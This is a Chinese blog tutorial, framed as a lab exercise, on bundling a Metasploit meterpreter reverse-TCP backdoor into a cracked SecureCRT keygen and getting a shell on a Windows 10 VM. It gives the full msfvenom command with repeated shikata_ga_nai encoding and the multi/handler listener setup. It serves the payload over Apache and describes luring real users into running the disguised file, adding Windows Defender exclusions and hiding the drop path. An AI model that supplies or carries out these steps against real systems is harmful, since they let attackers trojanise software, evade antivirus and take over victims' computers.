声明:郑重声明,本篇博客仅供学习与参考,若学习的内容用的不当,所产生的后果自负!!
一,试验所需要的环境配置
1.1 VMware 16.0 详细安装步骤
1.2 kali 2023 详细安装步骤
二,试验所需要的资源准备
所用到的资源下载地址如下
三,注册机捆绑恶意程序上线MSF
3.1 整个实验思维导图
3.2 安装go环境
本次试验会用到go环境,kali Linux默认没有go环境,所以需要下载安装
检查有没有安装过go
go version
显示没有安装过go,如果安装过的话就会显示版本信息
apt update
apt install golang ## 安装go
安装好了就再次查看版本
3.3 上传捆绑工具到kali
上传binding到kali /root目录下(其他目录也可以,我就在/root目录下演示)
直接拖过来即可
3.3 给binding文件加执行权限
chmod +x binding #加执行权限,要不然没办法执行
./binding # 直接运行,可以看到使用方法
3.4 上传捆绑所需要的exe程序
SecureCRT-kg.exe是程序
SecureCRT-kg.ico 是程序的图标
直接拖过来即可
3.5 使用 msfvenom 生成 msf 后门程序
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.49 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o msf.exe
![](https://img-blog.csdnimg.cn/direct/7d32d18b7b7b4dc5bd967220227df586.png)
如果报以上错误时,可能是你的msf版本低导致的,建议升级版本再试,如果没报错能生成payload则不需要升级;
完成升级以后生成payload
![](https://img-blog.csdnimg.cn/direct/7dc2c9d38f424c449337233ed8fee757.png)
参数说明:-a 指定架构如 x86 x64 。 x86 代表 32 位, x64 代表 64 位。 32 位软件可以在 64 位系统上运行。所以我们生成 32 位的后门,这样在 32 位和 64 位系统中都可以使用。--platform 指定平台,这里选择 windows ,通过 --l platforms 可以查看所有支持的平台-p 设置攻击载荷,我们使用 windows/meterpreter/reverse_tcp ,可以通过 -l payloads 查看所有攻击载荷LHOST 目标主机执行程序后连接我们 Kali 的地址LPORT 目标主机执行程序后连接我们 Kali 的端口-b 去掉坏字符,坏字符会影响 payload 正常执行。扩展: \x00 代表 16 进制的“ 00 ”组成的字符串。通过 ASCII 码换成能识别的就是: "00" -"00000000" - NUL 。由于 "00000000" 是不可见字符,所以代码中没用。如图:
已经有了msf.exe木马程序
3.6 利用捆绑程序进行木马与正常程序的捆绑
根据参数提示进行木马跟正常文件的捆绑
3.7 把恶意程序发给目标用户
因为我们是在做实验,所以根据原理自己找个win10来模拟目标用户,真实环境中,攻击者是主动发送给目标用户,诱导目标用户点击的;
而且我们是payload和正常程序分开发到win10主机以后,才改名替换运行的,在真实环境中,这些步骤要提前完成好,最后才把替换完成的payload恶意程序发给目标用户!
我用win10虚拟机来模拟目标用户
首先把正常程序放到win10主机上
再把生成的payload.exe放到目标主机上
我们用的方法是,用kali Linux开启apache服务,然后把payload文件放到apche根目录上,就可以通过web服务能访问下载
我在win10主机打开浏览器,输入192.168.31.170/payload.exe就可以下载了
下载完成以后,放到正常的程序文件中;
木马文件替换掉正常程序文件
注意!!:在真实环境中,木马文件是需要免杀的,不然很容易被计算机的windows defender所杀掉,但是免杀是个大学问,不是那么的容易,所以这次就不做免杀了,为了不被windos defender杀掉,有个排除项需要设置一下;
木马文件所需要的文件添加到排除项里面,这样windows defender 就不查杀这个文件了
3.8 kali linux 开始监听
msfdb run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.170
set lport 4444
最后执行 run 开启监听
3.9 安装软件
3.10 运行注册程序拿到反弹shell
可以看出来运行以后默认释放到C/用户/公用这个文件夹里
这边也已经拿到权限了
但是有一个缺点就是,默认释放路径是c/用户/公用,太明显了
所以在在3.5 步,可以指定一个文件释放路径,指定一个比较隐蔽的路径
总结:这就是一个整体的一个思路,但是实际环境中,会变得更难,有很多问题需要克服,比如免杀,如何逃过目标用户计算机的杀毒软件;免杀是个大学问,不是那么容易得事情;第二个就是你生成的payload如何放到目标用户计算机上成功执行等等;